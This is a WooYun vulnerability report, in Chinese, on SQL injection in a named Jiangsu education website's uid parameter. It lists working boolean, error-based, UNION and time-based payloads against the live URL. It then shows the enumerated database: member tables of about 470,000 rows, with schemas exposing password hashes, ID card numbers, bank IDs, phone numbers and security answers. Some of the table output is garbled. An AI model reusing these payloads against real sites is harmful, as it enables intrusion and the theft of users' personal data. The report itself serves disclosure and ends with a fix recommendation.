当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0159899

漏洞标题：江苏某教育网站SQL注入（百万用户信息泄露）

相关厂商：江苏某教育网站

漏洞作者： 路人甲

提交时间：2015-12-10 13:20

修复时间：2016-01-23 15:16

公开时间：2016-01-23 15:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://hi.xuekewang.com/index.php?uid=zz01

Parameter: uid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: uid=zz01' AND 8824=8824 AND 'IOYX'='IOYX
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: uid=zz01' AND (SELECT 2837 FROM(SELECT COUNT(*),CONCAT(0x3a6b776c3a,(SELECT (CASE WHEN (2837=2837) THEN 1 ELSE 0 END)),0x3a7267683a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'trjN'='trjN
    Type: UNION query
    Title: MySQL UNION query (NULL) - 34 columns
    Payload: uid=-6320' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a6b776c3a,0x627373685272594b4f55,0x3a7267683a),NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: uid=zz01' AND SLEEP(5) AND 'eRDV'='eRDV
---
back-end DBMS: MySQL 5.0
current database:    'xkwdb'

漏洞证明：

back-end DBMS: MySQL 5.0
Database: xkwdb
+--------------------+---------+
| Table              | Entries |
+--------------------+---------+
| xkw_member         | 473701  |
| xkw_member_person  | 473690  |
| xkw_member_friends | 4617    |
| xkw_member_pms     | 716     |
| xkw_member_school  | 389     |
| xkw_member_teacher | 200     |
+atabase: xkwdb
Table: xkw_member
[27 columns]
+--------------+---------------------------+
| Column       | Type                      |
+--------------+---------------------------+
| askscores    | mediumint(8)              |
| cash         | int(11)                   |
| email        | char(50)                  |
| experience   | int(10)                   |
| face         | char(100)                 |
| facecheck    | int(10)                   |
| joinip       | char(16)                  |
| jointime     | int(10) unsigned          |
| loginip      | char(16)                  |
| logintime    | int(10) unsigned          |
| matt         | smallint(5) unsigned      |
| mid          | mediumint(8) unsigned     |
| money        | mediumint(8) unsigned     |
| msort        | enum('学生','教师','家长','其他') |
| mtype        | enum('个人','企业','学校')      |
| newface      | char(100)                 |
| newmoney     | mediumint(8) unsigned     |
| pwd          | char(32)                  |
| rank         | smallint(5) unsigned      |
| revenue      | float                     |
| safeanswer   | char(30)                  |
| safequestion | smallint(5) unsigned      |
| scores       | mediumint(8) unsigned     |
| sex          | enum('男','女','保密')        |
| spacesta     | smallint(6)               |
| uname        | char(36)                  |
| userid       | char(20)                  |
+--------------+---------------------------+--------------------+---------+
Database: xkwdb
Table: xkw_member_person
[34 columns]
+------------+-----------------------+
| Column     | Type                  |
+------------+-----------------------+
| language   |
| address    | varchar(50)           |
| bankid     | varchar(25)           |
| bankname   | varchar(120)          |
| birthday   | date                  |
| blood      | smallint(6)           |
| bodytype   | smallint(6)           |
| cardid     | varchar(20)           |
| datingtype | smallint(6)           |
| drink      | smallint(6)           |
| education  | smallint(6)           |
| grade      |
| height     | smallint(5) unsigned  |
| house      | smallint(6)           |
| income     | smallint(6)           |
| lovemsg    | varchar(100)          |
| marital    | smallint(6)           |
| mid        | mediumint(8) unsigned |
| mobile     | varchar(15)           |
| msn        | char(50)              |
| nature     |
| oldplace   | smallint(5) unsigned  |
| onlynet    | tinyint(1) unsigned   |
| place      | smallint(5) unsigned  |
| qq         | char(12)              |
| realname   | varchar(150)          |
| school     | varchar(30)           |
| sex        | enum('男','女','保密')    |
| smoke      | smallint(6)           |
| star       | smallint(6) unsigned  |
| tel        | varchar(15)           |
| uname      | char(30)              |
| uptime     | int(10) unsigned      |
| vocation   | smallint(6)           |
+------------+-----------------------+

修复方案：

SQL参数化+预编译

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)